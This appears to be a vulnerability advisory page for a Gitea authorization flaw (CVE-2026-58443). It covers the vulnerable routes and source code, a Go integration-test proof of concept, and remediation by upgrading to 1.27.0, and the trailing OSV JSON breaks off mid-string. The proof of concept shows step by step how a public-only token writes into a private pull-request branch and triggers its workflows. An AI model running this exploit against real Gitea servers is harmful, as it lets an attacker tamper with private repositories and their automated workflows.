CVE-2026-58443: Gitea Public-only Repository Tokens Can Update Vulnerability
CRITICAL
Advisory Identifier:
GHSA-xxjv-752h-3vp2
Advisory Summary
CVE-2026-58443 is a CRITICAL (CVSS 9.6) public-only repository tokens can update vulnerability (CWE-863: Incorrect Authorization) affecting Gitea libraries in the Go ecosystem. The issue involves public-only repository tokens can update private pr head branches. Remediation is available by upgrading affected packages to version 1.27.0.
CVE-2026-58443 at a Glance
CVE Identifier
CVE-2026-58443
GHSA Identifier
GHSA-xxjv-752h-3vp2
Severity
CRITICAL
CVSS v3.1 Base Score
9.6
CWE Classification
CWE-863: Incorrect Authorization
Affected Product
Gitea
Package Ecosystem
Go
Published Date
Last Updated
Security Impact
CVSS: 9.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Changed (S:C)
Confidentiality
None (C:N)
Integrity
High (I:H)
Availability
High (A:H)
How to Fix CVE-2026-58443
To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
code.gitea.io/gitea
fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for code.gitea.io/giteaHow to Check if You Are Affected
To determine whether your application is affected by CVE-2026-58443, inspect your project dependencies for Gitea:
inspect dependencies for code.gitea.io/giteaAnalyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
Gitea allows a `public-only,write:repository` token to update a private pull request head branch through a public base repository route.
The vulnerable endpoint is:
```text
POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update
```
Gitea checks the token's public-only restriction against the route repository, which is the public base repository. `UpdatePullRequest()` then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.
As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.
### Details
The pull request API routes are attached under a repository route group. The public-only check applies to `ctx.Repo.Repository`, the route/base repository.
```go
// routers/api/v1/api.go:1358-1394
m.Group("/pulls", func() {
m.Combo("").Get(repo.ListPullRequests).
Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
m.Get("/pinned", repo.ListPinnedPullRequests)
m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
m.Group("/{index}", func() {
m.Combo("").Get(repo.GetPullRequest).
Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
m.Post("/update", reqToken(), repo.UpdatePullRequest)
m.Get("/commits", repo.GetPullRequestCommits)
m.Get("/files", repo.GetPullRequestFiles)
m.Combo("/merge").Get(repo.IsPullRequestMerged).
Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
m.Group("/reviews", func() {
m.Combo("").
Get(repo.ListPullReviews).
Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
m.Group("/{id}", func() {
m.Combo("").
Get(repo.GetPullReview).
Delete(reqToken(), repo.DeletePullReview).
Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
m.Combo("/comments").
Get(repo.GetPullReviewComments)
m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
m.Post("/undismissals", repo.UnDismissPullReview)
})
})
m.Combo("/requested_reviewers", reqToken()).
Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
})
m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())
```
```go
// routers/api/v1/api.go:1465-1466
}, repoAssignment(), checkTokenPublicOnly())
}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))
```
For `POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update`, the route repository can be public, so a `public-only,write:repository` token passes the route-level public-only check.
The update handler then checks whether the caller can update the PR head branch:
```go
// routers/api/v1/repo/pull.go:1220-1270
pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
if err != nil {
if issues_model.IsErrPullRequestNotExist(err) {
ctx.APIErrorNotFound()
} else {
ctx.APIErrorInternal(err)
}
return
}
if pr.HasMerged {
ctx.APIError(http.StatusUnprocessableEntity, err)
return
}
if err = pr.LoadIssue(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
if pr.Issue.IsClosed {
ctx.APIError(http.StatusUnprocessableEntity, err)
return
}
if err = pr.LoadBaseRepo(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
if err = pr.LoadHeadRepo(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
rebase := ctx.FormString("style") == "rebase"
allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
if err != nil {
ctx.APIErrorInternal(err)
return
}
if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
ctx.Status(http.StatusForbidden)
return
}
// default merge commit message
message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)
```
The service checks the head repository using the user's normal repository permission:
```go
// services/pull/update.go:136-164
// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
// update PR means send new commits to PR head branch from base branch
func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
if user == nil {
return false, false, nil
}
if err := pull.LoadBaseRepo(ctx); err != nil {
return false, false, err
}
if err := pull.LoadHeadRepo(ctx); err != nil {
return false, false, err
}
// 1. check whether pull request enabled.
prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
if repo_model.IsErrUnitTypeNotExist(err) {
return false, false, nil // the PR unit is disabled in base repo means no update allowed
} else if err != nil {
return false, false, fmt.Errorf("get base repo unit: %v", err)
}
// 2. only support Github style pull request
if pull.Flow == issues_model.PullRequestFlowAGit {
return false, false, nil
}
// 3. check user push permission on head repository
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
if err != nil {
return false, false, err
}
```
That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate `pull.HeadRepo`.
If allowed, the update service performs a merge/rebase update and pushes into the head repository:
```go
// services/pull/update.go:89-100
reversePR := &issues_model.PullRequest{
BaseRepoID: pr.HeadRepoID,
BaseRepo: pr.HeadRepo,
BaseBranch: pr.HeadBranch,
HeadRepoID: pr.BaseRepoID,
HeadRepo: pr.BaseRepo,
HeadBranch: pr.BaseBranch,
}
_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
return err
```
The result is a server-side private repository write performed through a public route.
### PoC
```go
import (
"encoding/base64"
"fmt"
"net/http"
"net/url"
"testing"
"time"
actions_model "code.gitea.io/gitea/models/actions"
auth_model "code.gitea.io/gitea/models/auth"
repo_model "code.gitea.io/gitea/models/repo"
unit_model "code.gitea.io/gitea/models/unit"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
"code.gitea.io/gitea/modules/gitrepo"
api "code.gitea.io/gitea/modules/structs"
webhook_module "code.gitea.io/gitea/modules/webhook"
repo_service "code.gitea.io/gitea/services/repository"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
onGiteaRun(t, func(t *testing.T, _ *url.URL) {
doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})
baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
Name: "public-pr-update-base",
Description: "public base repository for public-only PR update PoC",
AutoInit: true,
Readme: "Default",
DefaultBranch: "main",
IsPrivate: false,
})
require.NoError(t, err)
headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
BaseRepo: baseRepo,
Name: "private-pr-update-head",
Description: "private head repository for public-only PR update PoC",
SingleBranch: baseRepo.DefaultBranch,
})
require.NoError(t, err)
require.NotNil(t, headRepo)
require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
RepoID: headRepo.ID,
Type: unit_model.TypeActions,
}}, nil))
headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
headBranch := "private-head-update"
testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
OldBranch: baseRepo.DefaultBranch,
NewBranch: headBranch,
}, map[string]string{
"private-head-marker.txt": "private head branch marker",
})
const workflowID = "private-push.yml"
const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
OldBranch: headBranch,
NewBranch: headBranch,
}, map[string]string{
".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
on:
push:
branches:
- %s
jobs:
private-head-job:
runs-on: ubuntu-latest
steps:
- run: echo %s
`, headBranch, workflowSentinel),
})
require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
ID: headRepo.ID,
IsPrivate: true,
}, "is_private"))
headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
require.True(t, headRepo.IsPrivate)
baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})
session := loginUser(t, doer.Name)
publicOnlyToken := getTokenForLoggedInUser(t, session,
auth_model.AccessTokenScopePublicOnly,
auth_model.AccessTokenScopeWriteRepository,
)
publicPath := "public-base-injected-into-private.txt"
publicMarker := "FAULT-GITEA-062 public base content reached private head"
createPublicBaseFile := api.CreateFileOptions{
FileOptions: api.FileOptions{
BranchName: baseRepo.DefaultBranch,
Message: "create public marker for private head update",
},
ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
}
req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusCreated)
privatePath := "direct-private-write-should-fail.txt"
directPrivateWrite := api.CreateFileOptions{
FileOptions: api.FileOptions{
BranchName: headBranch,
Message: "direct private write attempt",
},
ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
}
req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusNotFound)
prPayload := map[string]string{
"title": "faultline public-only private head update",
"base": baseRepo.DefaultBranch,
"head": fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
}
req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
AddTokenAuth(publicOnlyToken)
resp := MakeRequest(t, req, http.StatusCreated)
var pr api.PullRequest
DecodeJSON(t, resp, &pr)
require.Equal(t, prPayload["title"], pr.Title)
gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
require.NoError(t, err)
defer gitRepo.Close()
commit, err := gitRepo.GetBranchCommit(headBranch)
require.NoError(t, err)
_, err = commit.GetBlobByPath(publicPath)
require.Error(t, err)
req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusOK)
assert.Eventually(t, func() bool {
return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
}, 5*time.Second, 50*time.Millisecond)
actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
RepoID: headRepo.ID,
WorkflowID: workflowID,
}, unittest.OrderBy("id DESC"))
assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
assert.Equal(t, "push", actionRun.TriggerEvent)
assert.Equal(t, doer.ID, actionRun.TriggerUserID)
assert.NotEmpty(t, actionRun.CommitSHA)
job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)
commit, err = gitRepo.GetBranchCommit(headBranch)
require.NoError(t, err)
blob, err := commit.GetBlobByPath(publicPath)
require.NoError(t, err)
content, err := blob.GetBlobContent(1024)
require.NoError(t, err)
assert.Equal(t, publicMarker, content)
})
}
```
### Impact
The attacker needs a valid `public-only,write:repository` token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.
Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.
When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching `push` workflow. The PoC confirms an `ActionRun` and `ActionRunJob` are created for the private head repository with the attack-triggered push event.
CVE-2026-58443 Affected Gitea Versions
1 component(s)
Fixed Versions:
1.27.0
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
code.gitea.io/gitea
|
Go |
< 1.27.0
|
1.27.0
|
References
Frequently Asked Questions
What is CVE-2026-58443?
CVE-2026-58443 is a security vulnerability in Gitea involving Public-only repository tokens can update private PR head branches under CWE-863: Incorrect Authorization.
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-58443?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What is the CVSS score of CVE-2026-58443?
CVE-2026-58443 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H.
What CWE is associated with CVE-2026-58443?
CVE-2026-58443 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-58443?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-xxjv-752h-3vp2",
"modified" : "2026-07-21T20:38:06Z",
"published" : "2026-07-21T20:38:06Z",
"aliases" : [ "CVE-2026-58443" ],
"summary" : "Gitea: Public-only repository tokens can update private PR head branches",
"details" : "### Summary\nGitea allows a `public-only,write:repository` token to update a private pull request head branch through a public base repository route.\n\nThe vulnerable endpoint is:\n\n```text\nPOST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update\n```\n\nGitea checks the token's public-only restriction against the route repository, which is the public base repository. `UpdatePullRequest()` then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.\n\nAs a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.\n\n### Details\nThe pull request API routes are attached under a repository route group. The public-only check applies to `ctx.Repo.Repository`, the route/base repository.\n\n```go\n// routers/api/v1/api.go:1358-1394\n\t\t\t\t\tm.Group(\"/pulls\", func() {\n\t\t\t\t\t\tm.Combo(\"\").Get(repo.ListPullRequests).\n\t\t\t\t\t\t\tPost(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)\n\t\t\t\t\t\tm.Get(\"/pinned\", repo.ListPinnedPullRequests)\n\t\t\t\t\t\tm.Post(\"/comments/{id}/resolve\", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)\n\t\t\t\t\t\tm.Post(\"/comments/{id}/unresolve\", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)\n\t\t\t\t\t\tm.Group(\"/{index}\", func() {\n\t\t\t\t\t\t\tm.Combo(\"\").Get(repo.GetPullRequest).\n\t\t\t\t\t\t\t\tPatch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)\n\t\t\t\t\t\t\tm.Get(\".{diffType:diff|patch}\", repo.DownloadPullDiffOrPatch)\n\t\t\t\t\t\t\tm.Post(\"/update\", reqToken(), repo.UpdatePullRequest)\n\t\t\t\t\t\t\tm.Get(\"/commits\", repo.GetPullRequestCommits)\n\t\t\t\t\t\t\tm.Get(\"/files\", repo.GetPullRequestFiles)\n\t\t\t\t\t\t\tm.Combo(\"/merge\").Get(repo.IsPullRequestMerged).\n\t\t\t\t\t\t\t\tPost(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).\n\t\t\t\t\t\t\t\tDelete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)\n\t\t\t\t\t\t\tm.Group(\"/reviews\", func() {\n\t\t\t\t\t\t\t\tm.Combo(\"\").\n\t\t\t\t\t\t\t\t\tGet(repo.ListPullReviews).\n\t\t\t\t\t\t\t\t\tPost(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)\n\t\t\t\t\t\t\t\tm.Group(\"/{id}\", func() {\n\t\t\t\t\t\t\t\t\tm.Combo(\"\").\n\t\t\t\t\t\t\t\t\t\tGet(repo.GetPullReview).\n\t\t\t\t\t\t\t\t\t\tDelete(reqToken(), repo.DeletePullReview).\n\t\t\t\t\t\t\t\t\t\tPost(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)\n\t\t\t\t\t\t\t\t\tm.Combo(\"/comments\").\n\t\t\t\t\t\t\t\t\t\tGet(repo.GetPullReviewComments)\n\t\t\t\t\t\t\t\t\tm.Post(\"/dismissals\", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)\n\t\t\t\t\t\t\t\t\tm.Post(\"/undismissals\", repo.UnDismissPullReview)\n\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\tm.Combo(\"/requested_reviewers\", reqToken()).\n\t\t\t\t\t\t\t\tDelete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).\n\t\t\t\t\t\t\t\tPost(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)\n\t\t\t\t\t\t})\n\t\t\t\t\t\tm.Get(\"/{base}/*\", repo.GetPullRequestByBaseHead)\n\t\t\t\t\t}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())\n```\n\n```go\n// routers/api/v1/api.go:1465-1466\n\t\t\t\t}, repoAssignment(), checkTokenPublicOnly())\n\t\t\t}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))\n```\n\nFor `POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update`, the route repository can be public, so a `public-only,write:repository` token passes the route-level public-only check.\n\nThe update handler then checks whether the caller can update the PR head branch:\n\n```go\n// routers/api/v1/repo/pull.go:1220-1270\n\tpr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64(\"index\"))\n\tif err != nil {\n\t\tif issues_model.IsErrPullRequestNotExist(err) {\n\t\t\tctx.APIErrorNotFound()\n\t\t} else {\n\t\t\tctx.APIErrorInternal(err)\n\t\t}\n\t\treturn\n\t}\n\n\tif pr.HasMerged {\n\t\tctx.APIError(http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tif err = pr.LoadIssue(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\tif pr.Issue.IsClosed {\n\t\tctx.APIError(http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tif err = pr.LoadBaseRepo(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\tif err = pr.LoadHeadRepo(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\trebase := ctx.FormString(\"style\") == \"rebase\"\n\nallowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)\n\tif err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\tif (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {\n\t\tctx.Status(http.StatusForbidden)\n\t\treturn\n\t}\n\n\t// default merge commit message\n\tmessage := fmt.Sprintf(\"Merge branch '%s' into %s\", pr.BaseBranch, pr.HeadBranch)\n```\n\nThe service checks the head repository using the user's normal repository permission:\n\n```go\n// services/pull/update.go:136-164\n// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections\n// update PR means send new commits to PR head branch from base branch\nfunc IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {\n\tif user == nil {\n\t\treturn false, false, nil\n\t}\n\tif err := pull.LoadBaseRepo(ctx); err != nil {\n\t\treturn false, false, err\n\t}\n\tif err := pull.LoadHeadRepo(ctx); err != nil {\n\t\treturn false, false, err\n\t}\n\n\t// 1. check whether pull request enabled.\n\tprBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)\n\tif repo_model.IsErrUnitTypeNotExist(err) {\n\t\treturn false, false, nil // the PR unit is disabled in base repo means no update allowed\n\t} else if err != nil {\n\t\treturn false, false, fmt.Errorf(\"get base repo unit: %v\", err)\n\t}\n\n\t// 2. only support Github style pull request\n\tif pull.Flow == issues_model.PullRequestFlowAGit {\n\t\treturn false, false, nil\n\t}\n\n\t// 3. check user push permission on head repository\npushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)\n\tif err != nil {\n\t\treturn false, false, err\n\t}\n```\n\nThat is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate `pull.HeadRepo`.\n\nIf allowed, the update service performs a merge/rebase update and pushes into the head repository:\n\n```go\n// services/pull/update.go:89-100\n\treversePR := &issues_model.PullRequest{\n\t\tBaseRepoID: pr.HeadRepoID,\n\t\tBaseRepo: pr.HeadRepo,\n\t\tBaseBranch: pr.HeadBranch,\n\n\t\tHeadRepoID: pr.BaseRepoID,\n\t\tHeadRepo: pr.BaseRepo,\n\t\tHeadBranch: pr.BaseBranch,\n\t}\n\n_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, \"\", message, repository.PushTriggerPRUpdateWithBase)\n\treturn err\n```\n\nThe result is a server-side private repository write performed through a public route.\n\n### PoC\n```go\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"testing\"\n\t\"time\"\n\n\tactions_model \"code.gitea.io/gitea/models/actions\"\n\tauth_model \"code.gitea.io/gitea/models/auth\"\n\trepo_model \"code.gitea.io/gitea/models/repo\"\n\tunit_model \"code.gitea.io/gitea/models/unit\"\n\t\"code.gitea.io/gitea/models/unittest\"\n\tuser_model \"code.gitea.io/gitea/models/user\"\n\t\"code.gitea.io/gitea/modules/gitrepo\"\n\tapi \"code.gitea.io/gitea/modules/structs\"\n\twebhook_module \"code.gitea.io/gitea/modules/webhook\"\n\trepo_service \"code.gitea.io/gitea/services/repository\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {\n\tonGiteaRun(t, func(t *testing.T, _ *url.URL) {\n\t\tdoer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: \"user1\"})\n\n\t\tbaseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{\n\t\t\tName: \"public-pr-update-base\",\n\t\t\tDescription: \"public base repository for public-only PR update PoC\",\n\t\t\tAutoInit: true,\n\t\t\tReadme: \"Default\",\n\t\t\tDefaultBranch: \"main\",\n\t\t\tIsPrivate: false,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\theadRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{\n\t\t\tBaseRepo: baseRepo,\n\t\t\tName: \"private-pr-update-head\",\n\t\t\tDescription: \"private head repository for public-only PR update PoC\",\n\t\t\tSingleBranch: baseRepo.DefaultBranch,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, headRepo)\n\t\trequire.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{\n\t\t\tRepoID: headRepo.ID,\n\t\t\tType: unit_model.TypeActions,\n\t\t}}, nil))\n\t\theadRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})\n\n\t\theadBranch := \"private-head-update\"\n\t\ttestCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{\n\t\t\tOldBranch: baseRepo.DefaultBranch,\n\t\t\tNewBranch: headBranch,\n\t\t}, map[string]string{\n\t\t\t\"private-head-marker.txt\": \"private head branch marker\",\n\t\t})\n\t\tconst workflowID = \"private-push.yml\"\n\t\tconst workflowSentinel = \"FAULTLINE_POC_062_PRIVATE_ACTION\"\n\t\ttestCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{\n\t\t\tOldBranch: headBranch,\n\t\t\tNewBranch: headBranch,\n\t\t}, map[string]string{\n\t\t\t\".gitea/workflows/\" + workflowID: fmt.Sprintf(`name: private-push\non:\n push:\n branches:\n - %s\njobs:\n private-head-job:\n runs-on: ubuntu-latest\n steps:\n - run: echo %s\n`, headBranch, workflowSentinel),\n\t\t})\n\n\t\trequire.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{\n\t\t\tID: headRepo.ID,\n\t\t\tIsPrivate: true,\n\t\t}, \"is_private\"))\n\t\theadRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})\n\t\trequire.True(t, headRepo.IsPrivate)\n\t\tbaselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})\n\n\t\tsession := loginUser(t, doer.Name)\n\t\tpublicOnlyToken := getTokenForLoggedInUser(t, session,\n\t\t\tauth_model.AccessTokenScopePublicOnly,\n\t\t\tauth_model.AccessTokenScopeWriteRepository,\n\t\t)\n\n\t\tpublicPath := \"public-base-injected-into-private.txt\"\n\t\tpublicMarker := \"FAULT-GITEA-062 public base content reached private head\"\n\t\tcreatePublicBaseFile := api.CreateFileOptions{\n\t\t\tFileOptions: api.FileOptions{\n\t\t\t\tBranchName: baseRepo.DefaultBranch,\n\t\t\t\tMessage: \"create public marker for private head update\",\n\t\t\t},\n\t\t\tContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),\n\t\t}\n\t\treq := NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/contents/%s\", baseRepo.FullName(), publicPath), &createPublicBaseFile).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusCreated)\n\n\t\tprivatePath := \"direct-private-write-should-fail.txt\"\n\t\tdirectPrivateWrite := api.CreateFileOptions{\n\t\t\tFileOptions: api.FileOptions{\n\t\t\t\tBranchName: headBranch,\n\t\t\t\tMessage: \"direct private write attempt\",\n\t\t\t},\n\t\t\tContentBase64: base64.StdEncoding.EncodeToString([]byte(\"direct private write marker\")),\n\t\t}\n\t\treq = NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/contents/%s\", headRepo.FullName(), privatePath), &directPrivateWrite).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusNotFound)\n\n\t\tprPayload := map[string]string{\n\t\t\t\"title\": \"faultline public-only private head update\",\n\t\t\t\"base\": baseRepo.DefaultBranch,\n\t\t\t\"head\": fmt.Sprintf(\"%s/%s:%s\", doer.Name, headRepo.Name, headBranch),\n\t\t}\n\t\treq = NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/pulls\", baseRepo.FullName()), prPayload).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tresp := MakeRequest(t, req, http.StatusCreated)\n\n\t\tvar pr api.PullRequest\n\t\tDecodeJSON(t, resp, &pr)\n\t\trequire.Equal(t, prPayload[\"title\"], 